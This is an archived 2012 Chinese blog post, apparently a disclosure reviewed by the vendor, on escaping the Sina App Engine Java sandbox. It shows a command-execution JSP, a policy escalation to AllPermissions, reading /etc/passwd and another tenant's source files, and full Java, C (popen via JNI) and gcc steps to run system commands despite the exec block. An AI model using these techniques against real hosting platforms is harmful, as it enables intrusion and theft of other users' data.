{"id":426,"date":"2012-08-02T13:26:47","date_gmt":"2012-08-02T05:26:47","guid":{"rendered":"http:\/\/inbreak.net\/?p=426"},"modified":"2012-08-02T13:26:47","modified_gmt":"2012-08-02T05:26:47","slug":"sae%e4%ba%91%e6%9c%8d%e5%8a%a1%e5%ae%89%e5%85%a8%e6%b2%99%e7%ae%b1%e7%bb%95%e8%bf%873%e7%bb%95%e8%bf%87%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e9%98%b2%e5%be%a1","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/426.html","title":{"rendered":"SAE\u4e91\u670d\u52a1\u5b89\u5168\u6c99\u7bb1\u7ed5\u8fc73(\u7ed5\u8fc7\u547d\u4ee4\u6267\u884c\u9632\u5fa1)"},"content":{"rendered":"

by \u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net \u5fae\u535a\uff1ahttp:\/\/t.qq.com\/javasecurity
\n\u6458\u8981<\/strong>
\n\u8c22\u5404\u4f4d\u6367\u573a\uff0c\u7ecf\u8fc7\u52aa\u529b\uff0c\u4f5c\u8005\u5df2\u7ecf\u6253\u5230\u4e86\u7b2c\u4e09\u5173\uff0c\u8fd9\u4e00\u5173\u53eb\u505a\u201c\u547d\u4ee4\u6267\u884c\u5173\u201d\u3002\u4e5f\u4e0d\u77e5\u9053\u662f\u56e0\u4e3a\u4f5c\u8005\u63cf\u8ff0\u4e0d\u6e05\u695a\uff0c\u8fd8\u662fSAE\u7684\u7406\u89e3\u51fa\u73b0\u504f\u5dee\uff0c\u6211\u4eec\u6ca1\u6709\u76f4\u63a5\u6c9f\u901a\u8fc7\uff0c\u53ea\u662f\u4f5c\u8005\u5199\u7bc7\u6587\u7ae0\uff0c\u5148\u4ea4\u7ed9\u90a3\u8fb9\u201c\u5ba1\u6838\u201d\uff0c\u201c\u5ba1\u6838\u201d\u901a\u8fc7\u540e\uff0c\u624d\u53d1\u5e03\u4e86\uff0c\u6240\u6709\u7684\u4ea4\u6d41\uff0c\u90fd\u4ec5\u9650\u4e8e\u6587\u7ae0\u672c\u8eab\u3002\u8fd9\u79cd\u6c9f\u901a\u7684\u969c\u788d\uff0c\u662f\u6b64\u6b21\u7ed5\u8fc7\u5b89\u5168\u9632\u5fa1\u7684\u8d77\u59cb\u3002\u5728\u4f5c\u8005\u7684\u7b2c\u4e8c\u5173\uff1a\u300aSAE\u4e91\u670d\u52a1\u5b89\u5168\u6c99\u7bb1\u7ed5\u8fc72(\u5229\u7528crackClassLoader)\u300b\uff08http:\/\/inbreak.net\/archives\/411\uff09\u4e00\u6587\u4e2d\uff0c\u63d0\u5230\u5229\u7528crackClassLoader\uff0c\u7ed5\u8fc7java\u5b89\u5168\u6c99\u7bb1\u7684\u4f8b\u5b50\uff0c\u6587\u672b\u4f5c\u8005\u4ee5\u4e00\u4e2a\u547d\u4ee4\u7684\u6210\u529f\u6267\u884c\u7ed3\u5c3e\uff0c\u5e76\u4e14\u4f7f\u7528cat\u547d\u4ee4\uff0c\u6253\u51fa\u4e86\u5176\u4ed6\u4e91\u7528\u6237\u7684\u9996\u9875\u3002
\n\u6b63\u6587<\/strong>
\nSAE\u770b\u5230\u4e86\u7981\u6b62\u547d\u4ee4\u6267\u884c\u7684\u91cd\u8981\u6027\u3002\u5728\u672c\u6587\u7684\u5f00\u59cb\uff0c\u5148\u67e5\u770bSAE\u7684\u73af\u5883\u548c\u9650\u5236\u3002
\n\u4e0a\u4f20\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u7684JSP\u9875\u9762\uff0c\u6253\u5f00\uff1a
\nhttp:\/\/1.cracksae.sinaapp.com\/cmd.jsp?cmd=id
\n\u8fd4\u56de\uff1a
\n\"\"<\/a><\/p>\n

\u8fd9\u4e2a\u9519\u8bef\u4fe1\u606f\uff0c\u5b8c\u5168\u4e0d\u540c\u4e8e\u539f\u672cJAVA\u6c99\u76d2\u7684\u6743\u9650\u5f02\u5e38\u4fe1\u606f\uff0c\u5e76\u975e\u662fjava\u6807\u51c6\u6c99\u76d2\u5bfc\u81f4\u7684\u6807\u51c6\u6743\u9650\u5f02\u5e38\uff0c\u6240\u4ee5\u7ed5\u8fc7\u7684\u601d\u8def\uff0c\u548c\u6807\u51c6\u6c99\u76d2\u80af\u5b9a\u4e0d\u4e00\u81f4\u3002<\/p>\n

\u4ece\u9519\u8bef\u63d0\u793a\u4e2d\uff0c\u53ef\u4ee5\u63a8\u6d4b\uff0cSAE\u5728runtime.exec\u51fd\u6570\u7684\u6267\u884c\u5c42\u9762\u505a\u4e86\u9650\u5236\uff08\u5305\u62ecprocessBuilder.start()\u4e5f\u6709\u9650\u5236\uff09\u3002\u6ce8\u610f\uff0c\u662f\u9488\u5bf9\u8fd9\u4e2a\u51fd\u6570\u505a\u7684\u9650\u5236\uff0c\u6309\u7167\u4e4b\u524d\u7684\u601d\u60f3\uff0c\u4f5c\u8005\u8981\u505a\u7684\uff0c\u5f53\u7136\u662f\u7ed5\u8fc7\u8fd9\u4e2a\u51fd\u6570\u3002SAE\u4e5f\u662f\u8fd9\u4e48\u8ba4\u4e3a\u7684\uff0c\u4f46\u662f\uff0cSAE\u5f00\u53d1\u4eba\u5458\u548c\u4f5c\u8005\u7406\u89e3\u7684\u7ec6\u8282\u4e0a\u6709\u504f\u5dee\u3002\u4e0a\u7bc7\u6587\u7ae0\uff0c\u4f5c\u8005\u53d1\u7ed9SAE\uff0c\u5185\u5bb9\u5199\u5230\u7ed5\u8fc7\u4e86SAE\u7684\u6c99\u76d2\u73af\u5883\uff0c\u6ce8\u610f\u662fSAE\u7684JAVA\u6c99\u76d2\u73af\u5883\u3002\u6587\u7ae0\u539f\u610f\u662f\uff0c\u7ed5\u8fc7\u6c99\u76d2\u540e\uff0c\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\u60c5\uff0c\u800c\u6267\u884ccmd\u4ec5\u4ec5\u662f\u5176\u4e2d\u4e00\u79cd\u7f62\u4e86\u3002SAE\u7406\u89e3\u4e3a\uff0c\u4e0d\u8ba9\u6076\u610f\u7528\u6237\u6267\u884ccmd\u547d\u4ee4\uff0c\u5c31\u53ef\u4ee5\u9632\u6b62\u7ed5\u8fc7\u4e86\uff0c\u660f\u5012\u3002<\/p>\n

\u4f5c\u8005\u8ba4\u4e3a\uff0cSAE\u662f\u4e91\uff0c\u4e91\u5b89\u5168\u9700\u8981\u4fdd\u62a4\u7684\uff0c\u662f\u7528\u6237\u7684\u6570\u636e\uff0c\u81f3\u4e8e\u80fd\u4e0d\u80fd\u6267\u884c\u547d\u4ee4\uff0c\u5176\u5b9e\u662f\u6b21\u8981\u7684\u3002\u7ad9\u5728\u4e91\u5b89\u5168\u7684\u7acb\u573a\uff0c\u4f5c\u8005\u8ba4\u4e3a\uff0c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u795e\u9a6c\u7684\uff0c\u662fweb\u65f6\u4ee3\u7684\u9ed1\u5ba2\u5e72\u7684\uff0c\u4e91\u65f6\u4ee3\uff0c\u5927\u5bb6\u8981\u505a\u7684\uff0c\u8d77\u7801\u662f\u628a\u4e91\u4e0a\u7528\u6237\u7684\u6570\u636e\u5f04\u51fa\u6765\u3002<\/p>\n

\u6bd4\u5982\uff0c\u53ef\u4ee5\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\uff1a
\n\"\"<\/a><\/p>\n

\u666e\u901a\u7684\u6587\u4ef6\u64cd\u4f5c\uff0c\u5728\u6ca1\u6709bypass\u4e4b\u524d\uff0c\u51fa\u73b0\u4e86\u6c99\u76d2\u7684\u9519\u8bef\u4fe1\u606f\u3002\u5982\u679c\u5f00\u53d1\u4eba\u5458\u548c\u4f5c\u8005\u63a8\u6d4b\u7684\u4e00\u81f4\uff0c\u4ec5\u4ec5\u9488\u5bf9exec\u505a\u9650\u5236\uff0c\u90a3\u5c31\u53ef\u80fd\u6ca1\u6709\u539f\u6765\u7684\u6c99\u76d2\u7b56\u7565\uff0c\u4ec5\u4ec5\u7981\u6b62\u4e86exec\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\uff0c\u8fd9\u76f8\u5f53\u4e8e\u4fee\u6539\u4e86JRE\u73af\u5883\u3002<\/p>\n

BYPASS\u6c99\u76d2<\/strong><\/p>\n

\u8fd9\u6b21\u4e3a\u4e86\u4f7f\u7528\u65b9\u4fbf\uff0c\u4f5c\u8005\u628a\u6587\u7ae0\u300aSAE\u4e91\u670d\u52a1\u5b89\u5168\u6c99\u7bb1\u7ed5\u8fc72(\u5229\u7528crackClassLoader)\u300b\uff08http:\/\/inbreak.net\/archives\/411\uff09\u4e2dsetPolicy\u8fd9\u6bb5\u4ee3\u7801\uff0c\u5355\u72ec\u62ce\u51fa\u6765\u5199\u597d\u653e\u4e0a\u53bb\u3002\u5728web\u5e94\u7528\u73af\u5883\u4e2d\uff0c\u6743\u9650\u8bbe\u7f6e\u662f\u9488\u5bf9\u5f53\u524dweb\u5e94\u7528\u4e0b\u6240\u6709class\u7684\uff0c\u6240\u4ee5\u53ea\u8981\u6210\u529f\u8bbe\u7f6e\u4e86AllPermissions\u7b56\u7565\uff0c\u540e\u9762\u6587\u4ef6\u64cd\u4f5c\u4ec0\u4e48\u7684\uff0c\u5c31\u7edf\u7edf\u4e0d\u518d\u9650\u5236\u4e86\u3002
\n\u7b2c\u4e00\u6b65\u6267\u884c\u8bbe\u7f6e\u7b56\u7565setPolicy\u4ee3\u7801\uff0c\u4ee3\u7801\u4e0a\u4e00\u7bc7\u6587\u7ae0\u6709\uff0c\u8fd9\u91cc\u4e0d\u518d\u63d0\u4e86\uff0c\u5728ExpPermissions2\u7c7b\u4e2d\u6709\u7684\uff0c\u8fd9\u6b21\u53ea\u662f\u5199\u4e86\u4e2aJSP\u76f4\u63a5\u8c03\u7528\u63d0\u6743\u3002<\/p>\n

\u63d0\u6743\u540e\uff0c\u4f20\u4e00\u4e2a\u6587\u4ef6\u6d4f\u89c8\u5668\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u663e\u793a\uff1a
\n\"\"<\/a><\/p>\n

\u8fd9\u8bf4\u660eSAE\u771f\u7684\u548c\u4f5c\u8005\u63a8\u6d4b\u7684\u4e00\u81f4\uff0c\u4ec5\u4ec5\u9650\u5236\u4e86EXEC\u547d\u4ee4\u6267\u884c\uff0c\u8fd9\u5bf9\u4e8e\u4e91\u6765\u8bf4\uff0c\u76f8\u5f53\u4e8e\u4e0d\u9650\u5236\u3002<\/p>\n

\u4e0a\u56fe\u662f\u8bfb\u53d6\/etc\/passwd\u7684\u5185\u5bb9\uff0c\u8fdb\u4e00\u6b65\u5217\u76ee\u5f55\uff0c\u53ef\u4ee5\u5230\u7528\u6237\u7684\u76ee\u5f55\u4e2d\uff0c\u8bfb\u53d6\u7528\u6237\u7684\u6570\u636e\u3002\u4ece\u8fd9\u91cc\u770b\u5230\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u7ba1\u7406\u5176\u4ed6\u4e91\u7528\u6237\u7684\u6587\u4ef6\u4e86\u3002<\/p>\n

http:\/\/1.bypass3.sinaapp.com\/bypass3forfile.jsp?action=fileread&filename=\/data1\/jetty_work\/201\/\u67d0\u7528\u6237\/jetty-0.0.0.0-balabalaXXXXXOOOOOs.war-_1_webrss-any-\/webapp\/do.jsp<\/p>\n

\u8bbf\u95ee\u4e0a\u9762URL\uff0c\u53ef\u4ee5\u8bfb\u53d6\u4e91\u7528\u6237\u201c\u67d0\u7528\u6237\u201d\u7684do.jsp\u9875\u9762\u6e90\u7801\uff1a
\n\"\"<\/a><\/p>\n

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\u547d\u4ee4\u6267\u884c<\/strong><\/p>\n

Java\u53ef\u4ee5\u8c03\u7528c\u8bed\u8a00\u7684\u52a8\u6001\u5e93\uff0c\u52a0\u8f7d\u8fdb\u6765\u540e\uff0c\u76f8\u5f53\u4e8e\u76f4\u63a5\u4f7f\u7528c\u8bed\u8a00\u4ee3\u7801\uff0cSAE\u53ea\u9650\u5236\u4e86exec\uff0cbypass\u8fd9\u4e2a\u9650\u5236\u7684\u601d\u8def\u5c31\u662f\u8c03\u7528c\u8bed\u8a00\u7684\u52a8\u6001\u5e93\u3002<\/p>\n

\u9996\u5148\u8981\u4e00\u4e2ajava\u6587\u4ef6\uff1a<\/p>\n

\r\npackage net.inbreak;\r\npublic class Loadlab {\r\n        static {\r\n                try {\r\n                        System.load(\"\/root\/javaso\/libLoadlab.so\");\r\n                } catch (UnsatisfiedLinkError e) {\r\n                        System.err.println(\"Cannot load command library:\\n \" + e.toString());\r\n                }\r\n        }\r\n        public Loadlab() {\r\n        }\r\n        public native String SayHello(String cmd);\r\n}\r\n<\/pre>\n
\u8fd9\u4e2a\u6587\u4ef6\u52a0\u8f7d\u4e86\/root\/javaso\/libLoadlab.so\uff0c\u8fd9\u91cc\u9700\u8981\u6539\u4e3aSAE\u4e0a\uff0cweb\u76ee\u5f55\u7684\u7edd\u5bf9\u5730\u5740\uff0c\u4f7f\u7528\u201c<%=application.getRealPath(\"\/\")%>\u201d\uff0c\u5728jsp\u4e0a\u62ff\u5230\u5373\u53ef\u3002<\/p>\n
\u7136\u540e\u751f\u6210jni\u7684\u5934\u6587\u4ef6
\n\u6267\u884c<\/p>\n
\r\njavah -jni net.inbreak.Loadlab\r\n<\/pre>\n
\u751f\u6210\u4e86\u201cnet_inbreak_Loadlab.h\u201d<\/p>\n
\r\n\/* DO NOT EDIT THIS FILE - it is machine generated *\/\r\n#include \r\n\/* Header for class net_inbreak_Loadlab *\/\r\n#ifndef _Included_net_inbreak_Loadlab\r\n#define _Included_net_inbreak_Loadlab\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\/*\r\n * Class:     net_inbreak_Loadlab\r\n * Method:    SayHello\r\n * Signature: (Ljava\/lang\/String;)Ljava\/lang\/String;\r\n *\/\r\nJNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello\r\n  (JNIEnv *, jobject, jstring);\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n#endif\r\n<\/pre>\n
\u6839\u636e\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5199c\u4ee3\u7801\u5b9e\u73b0\u529f\u80fd\uff0c\u76ee\u7684\u662f\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff1a<\/p>\n
\r\n#include \r\n#include \r\n#include\r\n#include \"net_inbreak_Loadlab.h\"\r\n#define BUFSIZE 1000\r\nJNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring)\r\n {\r\n const char *cmd = (*env)->GetStringUTFChars(env, instring, 0);\r\n\/*    char buf[1024];\r\n    FILE *pp;\r\n    char *returnchar=(char*)malloc(10);\r\nif( (pp = popen(cmd, \"r\")) == NULL )\r\n{\r\n    printf(\"popen() error!\\n\");\r\n    exit(1);\r\n}\r\nwhile(fgets(buf, sizeof buf, pp))\r\n{\r\n    char *ch = (char *) buf;\r\n    strcat(returnchar,ch);\r\n}\r\n    char *bufc = (char*)malloc(10);\r\n    strcpy(bufc, returnchar);\r\n    instring = (*env)->NewStringUTF(env, bufc);\r\n    pclose(pp);   \r\n    \/\/convert\r\n*\/\r\nFILE *fp;\r\nchar buf;\r\nchar bufreturn[65535];\r\nif((fp=popen(cmd,\"r\"))==NULL)\r\n   return instring;\r\nint j=0;\r\nwhile ((buf=fgetc(fp))!=EOF)\r\n{\r\n   \/\/memcpy(bufreturn,buf,strlen(buf));\r\n   bufreturn[j] = buf;\r\n   j++;\r\n}\r\npclose(fp);\r\nchar *chreturn = (char *)bufreturn;\r\ninstring = (*env)->NewStringUTF(env, chreturn);\r\n    return instring;\r\n } \r\nint main(int argc, char *argv[]){return 0;}\r\n<\/pre>\n
\u8fd9\u6bb5c\u4ee3\u7801\uff0c\u4f5c\u7528\u662f\u8c03\u7528popen\u51fd\u6570\uff0c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5e76\u8fd4\u56de\u4e00\u4e2ajstring\u7ed9JAVA\u3002
\n\u6700\u7ec8\u7684\u7ed3\u679c\uff0c\u548c\u8c03\u7528Runtime.exec\u662f\u4e00\u81f4\u7684\u3002
\n\u751f\u6210\u547d\u4ee4\uff1a<\/p>\n
\r\ngcc -I\/usr\/java\/jdk1.6.0_33\/include -I\/usr\/java\/jdk1.6.0_33\/include\/linux -fPIC -c net_inbreak_Loadlab.c\r\n<\/pre>\n
\u7136\u540e<\/p>\n
\r\ngcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o    \r\n<\/pre>\n
\u751f\u6210\u4e86libLoadlab.so\u6587\u4ef6\u3002
\n\u8fd9\u4e2a\u6587\u4ef6\u8981\u653e\u8fdbSAE\u7684web\u76ee\u5f55\u4e2d\uff0c\u5e76\u4e14\u5728Loadlab.java\u4e2d\u52a0\u8f7d\u8d77\u6765\u3002
\n\u5199java\u4ee3\u7801\u8c03\u7528\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\r\npublic class Setp {\r\n        public static void main(String[] args)\r\n        {\r\n        String name=\"java.library.path\";\r\n        System.out.println(System.getProperty(name));\r\n        net.inbreak.Loadlab l = new net.inbreak.Loadlab();\r\n        System.out.println(\"haha:\"+l.SayHello(\"ifconfig\"));\r\n        }\r\n}\r\n<\/pre>\n
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